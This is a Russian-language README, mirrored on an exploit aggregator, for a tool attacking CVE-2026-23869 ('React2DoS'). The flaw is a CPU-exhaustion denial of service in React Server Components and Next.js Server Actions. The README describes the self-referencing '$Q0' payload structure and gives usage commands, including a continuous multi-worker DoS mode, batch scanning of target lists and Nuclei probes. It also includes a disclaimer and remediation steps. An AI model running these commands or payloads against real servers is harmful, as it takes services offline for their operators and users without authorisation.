Sploitus

CVE-2026-23869-Exploit

kitploit · 2026-09-03

Exploit Code

MARKDOWN401 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CYBERTECHAJJU-CVE-2026-23869-EXPLOIT
![CVE](https://img.shields.io/badge/CVE-2026--23869-red?style=for-the-badge&logo=hackthebox&logoColor=white) ![Severity](https://img.shields.io/badge/Severity-HIGH%207.5-orange?style=for-the-badge) ![React](https://img.shields.io/badge/React-%E2%89%A419.2.4-blue?style=for-the-badge&logo=react) ![Next.js](https://img.shields.io/badge/Next.js-%3C15.5.15-black?style=for-the-badge&logo=next.js) ![Type](https://img.shields.io/badge/Type-DoS-critical?style=for-the-badge)

# ⚡ CVE-2026-23869 — React2DoS

**Неаутентифицированный удалённый отказ в обслуживании через React Flight Protocol**  
Квадратичное истощение CPU при десериализации Map в Server Components

Обзор • Как это работает • Инструменты • Установка • Использование • Nuclei • Исправление • Отказ от ответственности

* * *

## Обзор уязвимости

Поле| Детали  
---|---  
**CVE ID**|  CVE-2026-23869  
**Псевдоним**|  React2DoS  
**Оценка CVSS**|  7.5 (Высокая)  
**Вектор CVSS**| `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`  
**CWE**|  CWE-400 (Неконтролируемое потребление ресурсов)  
**Тип**|  Неаутентифицированный удалённый отказ в обслуживании  
**Обнаружено**|  Yohann Sillam (Imperva Threat Research)  
**Затронуто**| `react-server-dom-webpack` / `parcel` / `turbopack` ≤ 19.2.4  
**Исправлено**|  React 19.2.5+ / Next.js 15.5.15+ / 16.2.3+  
  
Критическая уязвимость отказа в обслуживании существует в десериализации **Flight protocol** React Server Components. Неаутентифицированный злоумышленник может отправить один специально сформированный HTTP-запрос к любой конечной точке **Server Action** App Router в Next.js, вызывая **квадратичное истощение CPU O(n²)** , которое блокирует сервер на несколько минут.

### Ссылки

  * Официальное уведомление Vercel
  * Технический анализ Imperva — «React2DoS»
  * Патч React PR #36236
  * Запись NVD



* * *

## Как это работает

### Ошибка: отсутствующий флаг `consumed` при десериализации Map

Протокол React Flight использует специальные маркеры для сериализации типов данных. `$Q` представляет объект **Map**. Когда сервер получает полезную нагрузку, содержащую самоссылающиеся маркеры `$Q0`:

root@kitploit:~
    
    
    Payload: [ [1,1], [1,1], ...(n допустимых записей)..., "$Q0", "$Q0", ...(n ссылок)... ]
    

**Каждый`$Q0`** запускает конструктор `new Map()`, который перебирает **все n допустимых записей**. Конструктор Map выбрасывает ошибку (поскольку записи некорректны), но критическая ошибка заключается в том, что: **флаг`consumed` никогда не устанавливается при сбое**.

Это означает, что **следующий`$Q0`** заново вычисляет ту же самую Map с нуля → создавая сложность **O(n²)** :

root@kitploit:~
    
    
    n допустимых записей × n ссылок $Q0 = n² вызовов конструктора Map
    
    Пример: 65 000 × 65 000 = 4 225 000 000 операций
    Результат: Один запрос блокирует CPU на 5-10+ минут
    

### Схема атаки

root@kitploit:~
    
    
    ┌──────────┐     POST / (multipart/form-data)      ┌──────────────────┐
    │ Атакующий │ ──────────────────────────────────────▶ │  Сервер Next.js  │
    │          │     Заголовок: Next-Action: <action_id>   │                  │
    │          │     Тело: [[1,1]...,"$Q0","$Q0"...]    │  ██████████ CPU  │
    │          │                                        │  100% ЗАБЛОКИРОВАН │
    └──────────┘                                        │  на ~5-10 мин     │
                                                        └──────────────────┘
    

### Уязвимый код (до исправления)

root@kitploit:~
    
    
    // ReactFlightReplyServer.js — ДО патча
    case "Q": {
      const data = getOutlinedModel(response, id, obj);
      return new Map(data);  // ← Завершается ошибкой, но не устанавливает consumed = true
                             //   Следующий $Q0 пересчитывает с нуля
    }
    

### Исправленный код (после исправления)

root@kitploit:~
    
    
    // ReactFlightReplyServer.js — ПОСЛЕ патча (React 19.2.5+)
    case "Q": {
      const data = getOutlinedModel(response, id, obj);
      obj.consumed = true;   // ← Исправление: установить флаг ДО создания
      return new Map(data);  //   Предотвращает повторный пересчёт
    }
    

* * *

## Включённые инструменты

Файл| Описание  
---|---  
`poc.py`| Полностью автоматизированный инструмент эксплуатации с 4-фазным конвейером (Разведка → Извлечение → Обнаружение → Эксплуатация)  
  
* * *

## Установка

root@kitploit:~
    
    
    # Клонировать репозиторий
    git clone https://github.com/cybertechajju/CVE-2026-23869-Exploit.git
    cd CVE-2026-23869-Exploit
    
    # Установить зависимость Python
    pip install requests
    
    # Сделать скрипты исполняемыми
    chmod +x poc.py scan.sh extract-action-ids.sh
    

### Необязательные зависимости

root@kitploit:~
    
    
    # Для сканирования шаблоном Nuclei
    go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
    
    # Для фильтрации живых целей
    go install github.com/projectdiscovery/httpx/cmd/httpx@latest
    

* * *

## Использование

### 🔥 Полное автоматическое сканирование (одна цель)

Просто укажите URL — инструмент сделает всё автоматически:

root@kitploit:~
    
    
    python3 poc.py -u https://target.com
    

**Что происходит:**

  1. **Фаза 1 — Разведка:** Определяет Next.js (заголовки, HTML-маркеры, build ID)
  2. **Фаза 2 — Извлечение:** Находит ID Server Action из JS-бандлов
  3. **Фаза 3 — Обнаружение:** Безопасная проверка уязвимости на основе тайминга (проба из 500 записей)
  4. **Фаза 4 — Отчёт:** Показывает вердикт об уязвимости с анализом тайминга



### 📋 Пакетное сканирование (несколько целей)

root@kitploit:~
    
    
    # Сканировать список доменов/IP
    python3 poc.py -L targets.txt
    
    # С выводом JSON-отчёта
    python3 poc.py -L targets.txt -o results.json
    

### 🎯 Ручной режим (известный Action ID)

root@kitploit:~
    
    
    # Только безопасное обнаружение
    python3 poc.py -u https://target.com -a <ACTION_ID> --detect
    
    # Одиночная эксплуатация
    python3 poc.py -u https://target.com -a <ACTION_ID> --single
    
    # Непрерывный DoS (10 воркеров)
    python3 poc.py -u https://target.com -a <ACTION_ID> --exploit -w 10
    

### 🔍 Только извлечение Action ID

root@kitploit:~
    
    
    python3 poc.py -u https://target.com --extract
    

### ⚙️ Все параметры

root@kitploit:~
    
    
    Options:
      -u, --url URL          Целевой URL (одна цель)
      -L, --list FILE        Файл с целевыми URL/IP (по одному в строке)
      -a, --action-id ID     ID Server Action (пропустить автоматическое извлечение)
      --detect               Только обнаружение — безопасно, неразрушающе (по умолчанию)
      --single               Одиночная эксплуатация после обнаружения
      --exploit              Непрерывный DoS после обнаружения
      --extract              Только извлечение action ID
      -l, --length N         Записей в полезной нагрузке (по умолчанию: 130000)
      -w, --workers N        Параллельных воркеров (по умолчанию: 5)
      -d, --delay SEC        Задержка между запросами (по умолчанию: 1.0)
      -o, --output FILE      Сохранить JSON-отчёт
      -t, --threads N        Параллельных целей для сканирования списка (по умолчанию: 3)
    

### Обратная совместимость

Оригинальный синтаксис PoC по-прежнему работает:

root@kitploit:~
    
    
    python3 poc.py <ACTION_ID> <URL>
    

* * *

## Шаблон Nuclei

### Быстрое сканирование

root@kitploit:~
    
    
    # Одна цель
    nuclei -t ./CVE-2026-23869.yaml -u https://target.com -itags dos
    
    # Несколько целей
    nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos
    
    # Чистый вывод (только уязвимые результаты)
    nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos -silent
    

> **Примечание:** Флаг `-itags dos` **обязателен** , поскольку Nuclei по умолчанию исключает DoS-шаблоны в целях безопасности.

### Поток обнаружения шаблона

root@kitploit:~
    
    
    Запрос 1 (GET /)     →  Определение Next.js (заголовки + HTML-маркеры)
    Запрос 2 (GET /)     →  Извлечение ID Server Action из createServerReference()  
    Запрос 3 (POST /)    →  Базовый запрос для замера времени (безвредная нагрузка)
    Запрос 4 (POST /)    →  Эксплуатационная проба (250 допустимых + 250 записей $Q0)
                             └─ Если время ответа ≥ 3с → УЯЗВИМО
    

### Скрипт автоматического сканера

root@kitploit:~
    
    
    # Запускает httpx → фильтрует живые цели → сканирование nuclei → результаты
    ./scan.sh
    
    # Или укажите свои файлы
    ./scan.sh targets1.txt targets2.txt
    

* * *

## Логика обнаружения

Инструмент использует **обнаружение на основе тайминга** для безопасной идентификации уязвимых серверов:

Обнаружение подтверждается, когда:

  * Время ответа на пробу **≥ 3 секунд** , ИЛИ
  * Соотношение Проба/Базовый **> 5x** при времени пробы **> 1 секунды**



* * *

## Затронутые версии

* * *

## Исправление

  1. **Обновите React** до версии **19.2.5** или новее
  2. **Обновите Next.js** до версии **15.5.15** или **16.2.3** или новее
  3. **Правила WAF:** Блокируйте запросы с аномально большими телами `multipart/form-data`, содержащими маркеры `$Q`
  4. **Ограничение скорости:** Внедрите ограничения скорости на конечных точках Server Action
  5. **Мониторинг:** Настройте оповещения о высоком использовании CPU, коррелирующем с POST-запросами к `/`



* * *

## Структура проекта

root@kitploit:~
    
    
    CVE-2026-23869-Exploit/
    ├── README.md                  # Этот файл
    ├── poc.py                     # Полностью автоматизированный инструмент PoC
    ├── CVE-2026-23869.yaml        # Шаблон обнаружения Nuclei
    ├── scan.sh                    # Автосканер httpx + nuclei
    └── extract-action-ids.sh      # Автономный извлекатель action ID
    

* * *

## Скриншоты

### Полное автоматическое сканирование

root@kitploit:~
    
    
      ╔══════════════════════════════════════════════════╗
      ║  ФАЗА 1 ▸ РАЗВЕДКА                              ║
      ╚══════════════════════════════════════════════════╝
    
      ✓ Next.js обнаружен (Next.js)
      ✓ Build ID: abc123def456
      ✓ App Router: Server Actions обнаружены
    
      ╔══════════════════════════════════════════════════╗
      ║  ФАЗА 2 ▸ ИЗВЛЕЧЕНИЕ ACTION ID                  ║
      ╚══════════════════════════════════════════════════╝
    
      ✓ Найдено 3 Action ID:
        1. a1b2c3d4e5f6789012345678901234567890abcd
        2. b2c3d4e5f67890123456789012345678901234ef
    
      ╔══════════════════════════════════════════════════╗
      ║  ФАЗА 3 ▸ ОБНАРУЖЕНИЕ УЯЗВИМОСТИ                ║
      ╚══════════════════════════════════════════════════╝
    
      [1/2] Базовый: 0.142с
      [2/2] Проба:    7.891с (55.6x от базового)
    
      ██ УЯЗВИМО — CVE-2026-23869 ПОДТВЕРЖДЕНО ██
    

### Результаты пакетного сканирования

root@kitploit:~
    
    
      ╔══════════════════════════════════════════════════════════════╗
      ║  РЕЗУЛЬТАТЫ ПАКЕТНОГО СКАНИРОВАНИЯ                          ║
      ╚══════════════════════════════════════════════════════════════╝
    
      Просканировано : 150 целей за 45.2с
      Уязвимых      : 3
      Исправленных  : 12
      Пропущено     : 135
    
      🔴 УЯЗВИМЫЕ ЦЕЛИ
      ─────────────────────────────────────────────────
       #   ЦЕЛЬ                           ПРОБА    СООТНОШЕНИЕ
         1  vulnerable-app.com             7.89с    55.6x
         2  staging.example.com            4.21с    28.1x
         3  dev.testsite.org              12.33с    82.2x
    

* * *

## Отказ от ответственности

> **⚠️ ТОЛЬКО ДЛЯ АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ**
> 
> Этот инструмент предоставляется **только в образовательных целях** и для **авторизованного тестирования на проникновение**. Несанкционированное использование этого инструмента против целей, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, **является незаконным** и может нарушать законы о компьютерном мошенничестве (CFAA, CMA и др.).
> 
> Авторы не несут ответственности за любое неправомерное использование или ущерб, причинённый этим инструментом. Всегда получайте надлежащее письменное разрешение перед тестированием любых систем.

* * *

## Авторы

  * **Исследование уязвимости:** Yohann Sillam — Imperva Threat Research
  * **Разработка PoC:** cybertechajju
  * **Патч React:** Команда React Facebook/Meta



* * *

![Stars](https://img.shields.io/github/stars/cybertechajju/CVE-2026-23869-Exploit?style=social) ![Forks](https://img.shields.io/github/forks/cybertechajju/CVE-2026-23869-Exploit?style=social) ![License](https://img.shields.io/github/license/cybertechajju/CVE-2026-23869-Exploit?style=flat-square)

Если вы нашли это полезным, поставьте ⭐